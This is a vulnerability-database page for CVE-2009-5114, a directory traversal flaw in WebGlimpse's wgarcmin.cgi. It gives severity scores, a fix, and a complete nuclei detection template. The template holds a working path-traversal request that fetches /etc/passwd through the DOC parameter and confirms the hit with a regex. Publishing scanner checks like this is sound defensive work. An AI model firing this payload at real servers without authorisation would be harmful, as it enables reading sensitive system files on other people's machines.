HexBrain

Browse / CVEs / CVE-2009-5114

CVE-2009-5114· iwork / webglimpse· CWE-22

WebGlimpse 2.18.7 - Directory Traversal

mediumseverity
5CVSS score
11.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.

Impact

An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-5114 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2009-5114

info:
  name: WebGlimpse 2.18.7 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/36994
    - https://nvd.nist.gov/vuln/detail/CVE-2009-5114
    - http://websecurity.com.ua/2628/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74321
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-5114
    cwe-id: CWE-22
    epss-score: 0.11707
    epss-percentile: 0.96101
    cpe: cpe:2.3:a:iwork:webglimpse:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: iwork
    product: webglimpse
  tags: cve,cve2009,edb,lfi,iwork,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from